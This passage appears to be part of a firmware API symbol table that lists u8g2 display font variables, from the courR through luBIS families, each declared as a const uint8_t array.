-Variable,-,u8g2_font_courR08_tn,const uint8_t[], -Variable,-,u8g2_font_courR08_tr,const uint8_t[], -Variable,-,u8g2_font_courR10_tf,const uint8_t[], -Variable,-,u8g2_font_courR10_tn,const uint8_t[], -Variable,-,u8g2_font_courR10_tr,const uint8_t[], -Variable,-,u8g2_font_courR12_tf,const uint8_t[], -Variable,-,u8g2_font_courR12_tn,const uint8_t[], -Variable,-,u8g2_font_courR12_tr,const uint8_t[], -Variable,-,u8g2_font_courR14_tf,const uint8_t[], -Variable,-,u8g2_font_courR14_tn,const uint8_t[], -Variable,-,u8g2_font_courR14_tr,const uint8_t[], -Variable,-,u8g2_font_courR18_tf,const uint8_t[], -Variable,-,u8g2_font_courR18_tn,const uint8_t[], -Variable,-,u8g2_font_courR18_tr,const uint8_t[], -Variable,-,u8g2_font_courR24_tf,const uint8_t[], -Variable,-,u8g2_font_courR24_tn,const uint8_t[], -Variable,-,u8g2_font_courR24_tr,const uint8_t[], -Variable,-,u8g2_font_crox1c_mf,const uint8_t[], -Variable,-,u8g2_font_crox1c_mn,const uint8_t[], -Variable,-,u8g2_font_crox1c_mr,const uint8_t[], -Variable,-,u8g2_font_crox1c_tf,const uint8_t[], -Variable,-,u8g2_font_crox1c_tn,const uint8_t[], -Variable,-,u8g2_font_crox1c_tr,const uint8_t[], -Variable,-,u8g2_font_crox1cb_mf,const uint8_t[], -Variable,-,u8g2_font_crox1cb_mn,const uint8_t[], -Variable,-,u8g2_font_crox1cb_mr,const uint8_t[], -Variable,-,u8g2_font_crox1cb_tf,const uint8_t[], -Variable,-,u8g2_font_crox1cb_tn,const uint8_t[], -Variable,-,u8g2_font_crox1cb_tr,const uint8_t[], -Variable,-,u8g2_font_crox1h_tf,const uint8_t[], -Variable,-,u8g2_font_crox1h_tn,const uint8_t[], -Variable,-,u8g2_font_crox1h_tr,const uint8_t[], -Variable,-,u8g2_font_crox1hb_tf,const uint8_t[], -Variable,-,u8g2_font_crox1hb_tn,const uint8_t[], -Variable,-,u8g2_font_crox1hb_tr,const uint8_t[], -Variable,-,u8g2_font_crox1t_tf,const uint8_t[], -Variable,-,u8g2_font_crox1t_tn,const uint8_t[], -Variable,-,u8g2_font_crox1t_tr,const uint8_t[], -Variable,-,u8g2_font_crox1tb_tf,const uint8_t[], -Variable,-,u8g2_font_crox1tb_tn,const uint8_t[], -Variable,-,u8g2_font_crox1tb_tr,const uint8_t[], -Variable,-,u8g2_font_crox2c_mf,const uint8_t[], -Variable,-,u8g2_font_crox2c_mn,const uint8_t[], -Variable,-,u8g2_font_crox2c_mr,const uint8_t[], -Variable,-,u8g2_font_crox2c_tf,const uint8_t[], -Variable,-,u8g2_font_crox2c_tn,const uint8_t[], -Variable,-,u8g2_font_crox2c_tr,const uint8_t[], -Variable,-,u8g2_font_crox2cb_mf,const uint8_t[], -Variable,-,u8g2_font_crox2cb_mn,const uint8_t[], -Variable,-,u8g2_font_crox2cb_mr,const uint8_t[], -Variable,-,u8g2_font_crox2cb_tf,const uint8_t[], -Variable,-,u8g2_font_crox2cb_tn,const uint8_t[], -Variable,-,u8g2_font_crox2cb_tr,const uint8_t[], -Variable,-,u8g2_font_crox2h_tf,const uint8_t[], -Variable,-,u8g2_font_crox2h_tn,const uint8_t[], -Variable,-,u8g2_font_crox2h_tr,const uint8_t[], -Variable,-,u8g2_font_crox2hb_tf,const uint8_t[], -Variable,-,u8g2_font_crox2hb_tn,const uint8_t[], -Variable,-,u8g2_font_crox2hb_tr,const uint8_t[], -Variable,-,u8g2_font_crox2t_tf,const uint8_t[], -Variable,-,u8g2_font_crox2t_tn,const uint8_t[], -Variable,-,u8g2_font_crox2t_tr,const uint8_t[], -Variable,-,u8g2_font_crox2tb_tf,const uint8_t[], -Variable,-,u8g2_font_crox2tb_tn,const uint8_t[], -Variable,-,u8g2_font_crox2tb_tr,const uint8_t[], -Variable,-,u8g2_font_crox3c_mf,const uint8_t[], -Variable,-,u8g2_font_crox3c_mn,const uint8_t[], -Variable,-,u8g2_font_crox3c_mr,const uint8_t[], -Variable,-,u8g2_font_crox3c_tf,const uint8_t[], -Variable,-,u8g2_font_crox3c_tn,const uint8_t[], -Variable,-,u8g2_font_crox3c_tr,const uint8_t[], -Variable,-,u8g2_font_crox3cb_mf,const uint8_t[], -Variable,-,u8g2_font_crox3cb_mn,const uint8_t[], -Variable,-,u8g2_font_crox3cb_mr,const uint8_t[], -Variable,-,u8g2_font_crox3cb_tf,const uint8_t[], -Variable,-,u8g2_font_crox3cb_tn,const uint8_t[], -Variable,-,u8g2_font_crox3cb_tr,const uint8_t[], -Variable,-,u8g2_font_crox3h_tf,const uint8_t[], -Variable,-,u8g2_font_crox3h_tn,const uint8_t[], -Variable,-,u8g2_font_crox3h_tr,const uint8_t[], -Variable,-,u8g2_font_crox3hb_tf,const uint8_t[], -Variable,-,u8g2_font_crox3hb_tn,const uint8_t[], -Variable,-,u8g2_font_crox3hb_tr,const uint8_t[], -Variable,-,u8g2_font_crox3t_tf,const uint8_t[], -Variable,-,u8g2_font_crox3t_tn,const uint8_t[], -Variable,-,u8g2_font_crox3t_tr,const uint8_t[], -Variable,-,u8g2_font_crox3tb_tf,const uint8_t[], -Variable,-,u8g2_font_crox3tb_tn,const uint8_t[], -Variable,-,u8g2_font_crox3tb_tr,const uint8_t[], -Variable,-,u8g2_font_crox4h_tf,const uint8_t[], -Variable,-,u8g2_font_crox4h_tn,const uint8_t[], -Variable,-,u8g2_font_crox4h_tr,const uint8_t[], -Variable,-,u8g2_font_crox4hb_tf,const uint8_t[], -Variable,-,u8g2_font_crox4hb_tn,const uint8_t[], -Variable,-,u8g2_font_crox4hb_tr,const uint8_t[], -Variable,-,u8g2_font_crox4t_tf,const uint8_t[], -Variable,-,u8g2_font_crox4t_tn,const uint8_t[], -Variable,-,u8g2_font_crox4t_tr,const uint8_t[], -Variable,-,u8g2_font_crox4tb_tf,const uint8_t[], -Variable,-,u8g2_font_crox4tb_tn,const uint8_t[], -Variable,-,u8g2_font_crox4tb_tr,const uint8_t[], -Variable,-,u8g2_font_crox5h_tf,const uint8_t[], -Variable,-,u8g2_font_crox5h_tn,const uint8_t[], -Variable,-,u8g2_font_crox5h_tr,const uint8_t[], -Variable,-,u8g2_font_crox5hb_tf,const uint8_t[], -Variable,-,u8g2_font_crox5hb_tn,const uint8_t[], -Variable,-,u8g2_font_crox5hb_tr,const uint8_t[], -Variable,-,u8g2_font_crox5t_tf,const uint8_t[], -Variable,-,u8g2_font_crox5t_tn,const uint8_t[], -Variable,-,u8g2_font_crox5t_tr,const uint8_t[], -Variable,-,u8g2_font_crox5tb_tf,const uint8_t[], -Variable,-,u8g2_font_crox5tb_tn,const uint8_t[], -Variable,-,u8g2_font_crox5tb_tr,const uint8_t[], -Variable,-,u8g2_font_cu12_h_symbols,const uint8_t[], -Variable,-,u8g2_font_cu12_he,const uint8_t[], -Variable,-,u8g2_font_cu12_hf,const uint8_t[], -Variable,-,u8g2_font_cu12_hn,const uint8_t[], -Variable,-,u8g2_font_cu12_hr,const uint8_t[], -Variable,-,u8g2_font_cu12_me,const uint8_t[], -Variable,-,u8g2_font_cu12_mf,const uint8_t[], -Variable,-,u8g2_font_cu12_mn,const uint8_t[], -Variable,-,u8g2_font_cu12_mr,const uint8_t[], -Variable,-,u8g2_font_cu12_t_arabic,const uint8_t[], -Variable,-,u8g2_font_cu12_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_cu12_t_greek,const uint8_t[], -Variable,-,u8g2_font_cu12_t_hebrew,const uint8_t[], -Variable,-,u8g2_font_cu12_t_symbols,const uint8_t[], -Variable,-,u8g2_font_cu12_t_tibetan,const uint8_t[], -Variable,-,u8g2_font_cu12_te,const uint8_t[], -Variable,-,u8g2_font_cu12_tf,const uint8_t[], -Variable,-,u8g2_font_cu12_tn,const uint8_t[], -Variable,-,u8g2_font_cu12_tr,const uint8_t[], -Variable,-,u8g2_font_cube_mel_tn,const uint8_t[], -Variable,-,u8g2_font_cube_mel_tr,const uint8_t[], -Variable,-,u8g2_font_cupcakemetoyourleader_tn,const uint8_t[], -Variable,-,u8g2_font_cupcakemetoyourleader_tr,const uint8_t[], -Variable,-,u8g2_font_cupcakemetoyourleader_tu,const uint8_t[], -Variable,-,u8g2_font_cursor_tf,const uint8_t[], -Variable,-,u8g2_font_cursor_tr,const uint8_t[], -Variable,-,u8g2_font_diodesemimono_tr,const uint8_t[], -Variable,-,u8g2_font_disrespectfulteenager_tu,const uint8_t[], -Variable,-,u8g2_font_emoticons21_tr,const uint8_t[], -Variable,-,u8g2_font_etl14thai_t,const uint8_t[], -Variable,-,u8g2_font_etl16thai_t,const uint8_t[], -Variable,-,u8g2_font_etl24thai_t,const uint8_t[], -Variable,-,u8g2_font_f10_b_t_japanese1,const uint8_t[], -Variable,-,u8g2_font_f10_b_t_japanese2,const uint8_t[], -Variable,-,u8g2_font_f10_t_japanese1,const uint8_t[], -Variable,-,u8g2_font_f10_t_japanese2,const uint8_t[], -Variable,-,u8g2_font_f12_b_t_japanese1,const uint8_t[], -Variable,-,u8g2_font_f12_b_t_japanese2,const uint8_t[], -Variable,-,u8g2_font_f12_t_japanese1,const uint8_t[], -Variable,-,u8g2_font_f12_t_japanese2,const uint8_t[], -Variable,-,u8g2_font_f16_b_t_japanese1,const uint8_t[], -Variable,-,u8g2_font_f16_b_t_japanese2,const uint8_t[], -Variable,-,u8g2_font_f16_t_japanese1,const uint8_t[], -Variable,-,u8g2_font_f16_t_japanese2,const uint8_t[], -Variable,-,u8g2_font_fancypixels_tf,const uint8_t[], -Variable,-,u8g2_font_fancypixels_tr,const uint8_t[], -Variable,-,u8g2_font_fewture_tf,const uint8_t[], -Variable,-,u8g2_font_fewture_tn,const uint8_t[], -Variable,-,u8g2_font_fewture_tr,const uint8_t[], -Variable,-,u8g2_font_finderskeepers_tf,const uint8_t[], -Variable,-,u8g2_font_finderskeepers_tn,const uint8_t[], -Variable,-,u8g2_font_finderskeepers_tr,const uint8_t[], -Variable,-,u8g2_font_freedoomr10_mu,const uint8_t[], -Variable,-,u8g2_font_freedoomr10_tu,const uint8_t[], -Variable,-,u8g2_font_freedoomr25_mn,const uint8_t[], -Variable,-,u8g2_font_freedoomr25_tn,const uint8_t[], -Variable,-,u8g2_font_frikativ_t_all,const uint8_t[], -Variable,-,u8g2_font_frikativ_tf,const uint8_t[], -Variable,-,u8g2_font_frikativ_tr,const uint8_t[], -Variable,-,u8g2_font_fub11_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fub11_tf,const uint8_t[], -Variable,-,u8g2_font_fub11_tn,const uint8_t[], -Variable,-,u8g2_font_fub11_tr,const uint8_t[], -Variable,-,u8g2_font_fub14_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fub14_tf,const uint8_t[], -Variable,-,u8g2_font_fub14_tn,const uint8_t[], -Variable,-,u8g2_font_fub14_tr,const uint8_t[], -Variable,-,u8g2_font_fub17_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fub17_tf,const uint8_t[], -Variable,-,u8g2_font_fub17_tn,const uint8_t[], -Variable,-,u8g2_font_fub17_tr,const uint8_t[], -Variable,-,u8g2_font_fub20_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fub20_tf,const uint8_t[], -Variable,-,u8g2_font_fub20_tn,const uint8_t[], -Variable,-,u8g2_font_fub20_tr,const uint8_t[], -Variable,-,u8g2_font_fub25_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fub25_tf,const uint8_t[], -Variable,-,u8g2_font_fub25_tn,const uint8_t[], -Variable,-,u8g2_font_fub25_tr,const uint8_t[], -Variable,-,u8g2_font_fub30_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fub30_tf,const uint8_t[], -Variable,-,u8g2_font_fub30_tn,const uint8_t[], -Variable,-,u8g2_font_fub30_tr,const uint8_t[], -Variable,-,u8g2_font_fub35_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fub35_tf,const uint8_t[], -Variable,-,u8g2_font_fub35_tn,const uint8_t[], -Variable,-,u8g2_font_fub35_tr,const uint8_t[], -Variable,-,u8g2_font_fub42_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fub42_tf,const uint8_t[], -Variable,-,u8g2_font_fub42_tn,const uint8_t[], -Variable,-,u8g2_font_fub42_tr,const uint8_t[], -Variable,-,u8g2_font_fub49_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fub49_tn,const uint8_t[], -Variable,-,u8g2_font_fur11_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fur11_tf,const uint8_t[], -Variable,-,u8g2_font_fur11_tn,const uint8_t[], -Variable,-,u8g2_font_fur11_tr,const uint8_t[], -Variable,-,u8g2_font_fur14_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fur14_tf,const uint8_t[], -Variable,-,u8g2_font_fur14_tn,const uint8_t[], -Variable,-,u8g2_font_fur14_tr,const uint8_t[], -Variable,-,u8g2_font_fur17_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fur17_tf,const uint8_t[], -Variable,-,u8g2_font_fur17_tn,const uint8_t[], -Variable,-,u8g2_font_fur17_tr,const uint8_t[], -Variable,-,u8g2_font_fur20_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fur20_tf,const uint8_t[], -Variable,-,u8g2_font_fur20_tn,const uint8_t[], -Variable,-,u8g2_font_fur20_tr,const uint8_t[], -Variable,-,u8g2_font_fur25_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fur25_tf,const uint8_t[], -Variable,-,u8g2_font_fur25_tn,const uint8_t[], -Variable,-,u8g2_font_fur25_tr,const uint8_t[], -Variable,-,u8g2_font_fur30_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fur30_tf,const uint8_t[], -Variable,-,u8g2_font_fur30_tn,const uint8_t[], -Variable,-,u8g2_font_fur30_tr,const uint8_t[], -Variable,-,u8g2_font_fur35_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fur35_tf,const uint8_t[], -Variable,-,u8g2_font_fur35_tn,const uint8_t[], -Variable,-,u8g2_font_fur35_tr,const uint8_t[], -Variable,-,u8g2_font_fur42_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fur42_tf,const uint8_t[], -Variable,-,u8g2_font_fur42_tn,const uint8_t[], -Variable,-,u8g2_font_fur42_tr,const uint8_t[], -Variable,-,u8g2_font_fur49_t_symbol,const uint8_t[], -Variable,-,u8g2_font_fur49_tn,const uint8_t[], -Variable,-,u8g2_font_ganj_nameh_sans10_t_all,const uint8_t[], -Variable,-,u8g2_font_ganj_nameh_sans12_t_all,const uint8_t[], -Variable,-,u8g2_font_ganj_nameh_sans14_t_all,const uint8_t[], -Variable,-,u8g2_font_ganj_nameh_sans16_t_all,const uint8_t[], -Variable,-,u8g2_font_gb16st_t_1,const uint8_t[], -Variable,-,u8g2_font_gb16st_t_2,const uint8_t[], -Variable,-,u8g2_font_gb16st_t_3,const uint8_t[], -Variable,-,u8g2_font_gb24st_t_1,const uint8_t[], -Variable,-,u8g2_font_gb24st_t_2,const uint8_t[], -Variable,-,u8g2_font_gb24st_t_3,const uint8_t[], -Variable,-,u8g2_font_glasstown_nbp_t_all,const uint8_t[], -Variable,-,u8g2_font_glasstown_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_glasstown_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_glasstown_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_guildenstern_nbp_t_all,const uint8_t[], -Variable,-,u8g2_font_guildenstern_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_guildenstern_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_guildenstern_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_habsburgchancery_t_all,const uint8_t[], -Variable,-,u8g2_font_habsburgchancery_tf,const uint8_t[], -Variable,-,u8g2_font_habsburgchancery_tn,const uint8_t[], -Variable,-,u8g2_font_habsburgchancery_tr,const uint8_t[], -Variable,-,u8g2_font_halftone_tf,const uint8_t[], -Variable,-,u8g2_font_halftone_tn,const uint8_t[], -Variable,-,u8g2_font_halftone_tr,const uint8_t[], -Variable,-,u8g2_font_haxrcorp4089_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_haxrcorp4089_tn,const uint8_t[], -Variable,-,u8g2_font_haxrcorp4089_tr,const uint8_t[], -Variable,-,u8g2_font_heavybottom_tr,const uint8_t[], -Variable,-,u8g2_font_helvB08_te,const uint8_t[], -Variable,-,u8g2_font_helvB08_tf,const uint8_t[], -Variable,-,u8g2_font_helvB08_tn,const uint8_t[], -Variable,-,u8g2_font_helvB08_tr,const uint8_t[], -Variable,-,u8g2_font_helvB10_te,const uint8_t[], -Variable,-,u8g2_font_helvB10_tf,const uint8_t[], -Variable,-,u8g2_font_helvB10_tn,const uint8_t[], -Variable,-,u8g2_font_helvB10_tr,const uint8_t[], -Variable,-,u8g2_font_helvB12_te,const uint8_t[], -Variable,-,u8g2_font_helvB12_tf,const uint8_t[], -Variable,-,u8g2_font_helvB12_tn,const uint8_t[], -Variable,-,u8g2_font_helvB12_tr,const uint8_t[], -Variable,-,u8g2_font_helvB14_te,const uint8_t[], -Variable,-,u8g2_font_helvB14_tf,const uint8_t[], -Variable,-,u8g2_font_helvB14_tn,const uint8_t[], -Variable,-,u8g2_font_helvB14_tr,const uint8_t[], -Variable,-,u8g2_font_helvB18_te,const uint8_t[], -Variable,-,u8g2_font_helvB18_tf,const uint8_t[], -Variable,-,u8g2_font_helvB18_tn,const uint8_t[], -Variable,-,u8g2_font_helvB18_tr,const uint8_t[], -Variable,-,u8g2_font_helvB24_te,const uint8_t[], -Variable,-,u8g2_font_helvB24_tf,const uint8_t[], -Variable,-,u8g2_font_helvB24_tn,const uint8_t[], -Variable,-,u8g2_font_helvB24_tr,const uint8_t[], -Variable,-,u8g2_font_helvR08_te,const uint8_t[], -Variable,-,u8g2_font_helvR08_tf,const uint8_t[], -Variable,-,u8g2_font_helvR08_tn,const uint8_t[], -Variable,-,u8g2_font_helvR08_tr,const uint8_t[], -Variable,-,u8g2_font_helvR10_te,const uint8_t[], -Variable,-,u8g2_font_helvR10_tf,const uint8_t[], -Variable,-,u8g2_font_helvR10_tn,const uint8_t[], -Variable,-,u8g2_font_helvR10_tr,const uint8_t[], -Variable,-,u8g2_font_helvR12_te,const uint8_t[], -Variable,-,u8g2_font_helvR12_tf,const uint8_t[], -Variable,-,u8g2_font_helvR12_tn,const uint8_t[], -Variable,-,u8g2_font_helvR12_tr,const uint8_t[], -Variable,-,u8g2_font_helvR14_te,const uint8_t[], -Variable,-,u8g2_font_helvR14_tf,const uint8_t[], -Variable,-,u8g2_font_helvR14_tn,const uint8_t[], -Variable,-,u8g2_font_helvR14_tr,const uint8_t[], -Variable,-,u8g2_font_helvR18_te,const uint8_t[], -Variable,-,u8g2_font_helvR18_tf,const uint8_t[], -Variable,-,u8g2_font_helvR18_tn,const uint8_t[], -Variable,-,u8g2_font_helvR18_tr,const uint8_t[], -Variable,-,u8g2_font_helvR24_te,const uint8_t[], -Variable,-,u8g2_font_helvR24_tf,const uint8_t[], -Variable,-,u8g2_font_helvR24_tn,const uint8_t[], -Variable,-,u8g2_font_helvR24_tr,const uint8_t[], -Variable,-,u8g2_font_iconquadpix_m_all,const uint8_t[], -Variable,-,u8g2_font_inb16_mf,const uint8_t[], -Variable,-,u8g2_font_inb16_mn,const uint8_t[], -Variable,-,u8g2_font_inb16_mr,const uint8_t[], -Variable,-,u8g2_font_inb19_mf,const uint8_t[], -Variable,-,u8g2_font_inb19_mn,const uint8_t[], -Variable,-,u8g2_font_inb19_mr,const uint8_t[], -Variable,-,u8g2_font_inb21_mf,const uint8_t[], -Variable,-,u8g2_font_inb21_mn,const uint8_t[], -Variable,-,u8g2_font_inb21_mr,const uint8_t[], -Variable,-,u8g2_font_inb24_mf,const uint8_t[], -Variable,-,u8g2_font_inb24_mn,const uint8_t[], -Variable,-,u8g2_font_inb24_mr,const uint8_t[], -Variable,-,u8g2_font_inb27_mf,const uint8_t[], -Variable,-,u8g2_font_inb27_mn,const uint8_t[], -Variable,-,u8g2_font_inb27_mr,const uint8_t[], -Variable,-,u8g2_font_inb30_mf,const uint8_t[], -Variable,-,u8g2_font_inb30_mn,const uint8_t[], -Variable,-,u8g2_font_inb30_mr,const uint8_t[], -Variable,-,u8g2_font_inb33_mf,const uint8_t[], -Variable,-,u8g2_font_inb33_mn,const uint8_t[], -Variable,-,u8g2_font_inb33_mr,const uint8_t[], -Variable,-,u8g2_font_inb38_mf,const uint8_t[], -Variable,-,u8g2_font_inb38_mn,const uint8_t[], -Variable,-,u8g2_font_inb38_mr,const uint8_t[], -Variable,-,u8g2_font_inb42_mf,const uint8_t[], -Variable,-,u8g2_font_inb42_mn,const uint8_t[], -Variable,-,u8g2_font_inb42_mr,const uint8_t[], -Variable,-,u8g2_font_inb46_mf,const uint8_t[], -Variable,-,u8g2_font_inb46_mn,const uint8_t[], -Variable,-,u8g2_font_inb46_mr,const uint8_t[], -Variable,-,u8g2_font_inb49_mf,const uint8_t[], -Variable,-,u8g2_font_inb49_mn,const uint8_t[], -Variable,-,u8g2_font_inb49_mr,const uint8_t[], -Variable,-,u8g2_font_inb53_mf,const uint8_t[], -Variable,-,u8g2_font_inb53_mn,const uint8_t[], -Variable,-,u8g2_font_inb53_mr,const uint8_t[], -Variable,-,u8g2_font_inb57_mn,const uint8_t[], -Variable,-,u8g2_font_inb63_mn,const uint8_t[], -Variable,-,u8g2_font_inr16_mf,const uint8_t[], -Variable,-,u8g2_font_inr16_mn,const uint8_t[], -Variable,-,u8g2_font_inr16_mr,const uint8_t[], -Variable,-,u8g2_font_inr19_mf,const uint8_t[], -Variable,-,u8g2_font_inr19_mn,const uint8_t[], -Variable,-,u8g2_font_inr19_mr,const uint8_t[], -Variable,-,u8g2_font_inr21_mf,const uint8_t[], -Variable,-,u8g2_font_inr21_mn,const uint8_t[], -Variable,-,u8g2_font_inr21_mr,const uint8_t[], -Variable,-,u8g2_font_inr24_mf,const uint8_t[], -Variable,-,u8g2_font_inr24_mn,const uint8_t[], -Variable,-,u8g2_font_inr24_mr,const uint8_t[], -Variable,-,u8g2_font_inr24_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_inr27_mf,const uint8_t[], -Variable,-,u8g2_font_inr27_mn,const uint8_t[], -Variable,-,u8g2_font_inr27_mr,const uint8_t[], -Variable,-,u8g2_font_inr27_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_inr30_mf,const uint8_t[], -Variable,-,u8g2_font_inr30_mn,const uint8_t[], -Variable,-,u8g2_font_inr30_mr,const uint8_t[], -Variable,-,u8g2_font_inr30_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_inr33_mf,const uint8_t[], -Variable,-,u8g2_font_inr33_mn,const uint8_t[], -Variable,-,u8g2_font_inr33_mr,const uint8_t[], -Variable,-,u8g2_font_inr33_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_inr38_mf,const uint8_t[], -Variable,-,u8g2_font_inr38_mn,const uint8_t[], -Variable,-,u8g2_font_inr38_mr,const uint8_t[], -Variable,-,u8g2_font_inr38_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_inr42_mf,const uint8_t[], -Variable,-,u8g2_font_inr42_mn,const uint8_t[], -Variable,-,u8g2_font_inr42_mr,const uint8_t[], -Variable,-,u8g2_font_inr42_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_inr46_mf,const uint8_t[], -Variable,-,u8g2_font_inr46_mn,const uint8_t[], -Variable,-,u8g2_font_inr46_mr,const uint8_t[], -Variable,-,u8g2_font_inr46_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_inr49_mf,const uint8_t[], -Variable,-,u8g2_font_inr49_mn,const uint8_t[], -Variable,-,u8g2_font_inr49_mr,const uint8_t[], -Variable,-,u8g2_font_inr49_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_inr53_mf,const uint8_t[], -Variable,-,u8g2_font_inr53_mn,const uint8_t[], -Variable,-,u8g2_font_inr53_mr,const uint8_t[], -Variable,-,u8g2_font_inr53_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_inr57_mn,const uint8_t[], -Variable,-,u8g2_font_inr62_mn,const uint8_t[], -Variable,-,u8g2_font_iranian_sans_10_t_all,const uint8_t[], -Variable,-,u8g2_font_iranian_sans_12_t_all,const uint8_t[], -Variable,-,u8g2_font_iranian_sans_14_t_all,const uint8_t[], -Variable,-,u8g2_font_iranian_sans_16_t_all,const uint8_t[], -Variable,-,u8g2_font_iranian_sans_8_t_all,const uint8_t[], -Variable,-,u8g2_font_jinxedwizards_tr,const uint8_t[], -Variable,-,u8g2_font_koleeko_tf,const uint8_t[], -Variable,-,u8g2_font_koleeko_tn,const uint8_t[], -Variable,-,u8g2_font_koleeko_tr,const uint8_t[], -Variable,-,u8g2_font_koleeko_tu,const uint8_t[], -Variable,-,u8g2_font_lastapprenticebold_tr,const uint8_t[], -Variable,-,u8g2_font_lastapprenticethin_tr,const uint8_t[], -Variable,-,u8g2_font_lastpriestess_tr,const uint8_t[], -Variable,-,u8g2_font_lastpriestess_tu,const uint8_t[], -Variable,-,u8g2_font_logisoso16_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso16_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso16_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso18_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso18_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso18_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso20_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso20_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso20_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso22_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso22_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso22_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso24_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso24_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso24_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso26_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso26_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso26_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso28_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso28_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso28_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso30_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso30_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso30_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso32_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso32_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso32_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso34_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso34_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso34_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso38_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso38_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso38_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso42_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso42_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso42_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso46_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso46_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso46_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso50_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso50_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso50_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso54_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso54_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso54_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso58_tf,const uint8_t[], -Variable,-,u8g2_font_logisoso58_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso58_tr,const uint8_t[], -Variable,-,u8g2_font_logisoso62_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso78_tn,const uint8_t[], -Variable,-,u8g2_font_logisoso92_tn,const uint8_t[], -Variable,-,u8g2_font_luBIS08_te,const uint8_t[], -Variable,-,u8g2_font_luBIS08_tf,const uint8_t[], -Variable,-,u8g2_font_luBIS08_tn,const uint8_t[], -Variable,-,u8g2_font_luBIS08_tr,const uint8_t[], -Variable,-,u8g2_font_luBIS10_te,const uint8_t[], -Variable,-,u8g2_font_luBIS10_tf,const uint8_t[], -Variable,-,u8g2_font_luBIS10_tn,const uint8_t[], -Variable,-,u8g2_font_luBIS10_tr,const uint8_t[], -Variable,-,u8g2_font_luBIS12_te,const uint8_t[], -Variable,-,u8g2_font_luBIS12_tf,const uint8_t[], -Variable,-,u8g2_font_luBIS12_tn,const uint8_t[], -Variable,-,u8g2_font_luBIS12_tr,const uint8_t[], -Variable,-,u8g2_font_luBIS14_te,const uint8_t[], -Variable,-,u8g2_font_luBIS14_tf,const uint8_t[], -Variable,-,u8g2_font_luBIS14_tn,const uint8_t[], -Variable,-,u8g2_font_luBIS14_tr,const uint8_t[], -Variable,-,u8g2_font_luBIS18_te,const uint8_t[], -Variable,-,u8g2_font_luBIS18_tf,const uint8_t[], -Variable,-,u8g2_font_luBIS18_tn,const uint8_t[], -Variable,-,u8g2_font_luBIS18_tr,const uint8_t[], -Variable,-,u8g2_font_luBIS19_te,const uint8_t[], -Variable,-,u8g2_font_luBIS19_tf,const uint8_t[], -Variable,-,u8g2_font_luBIS19_tn,const uint8_t[], 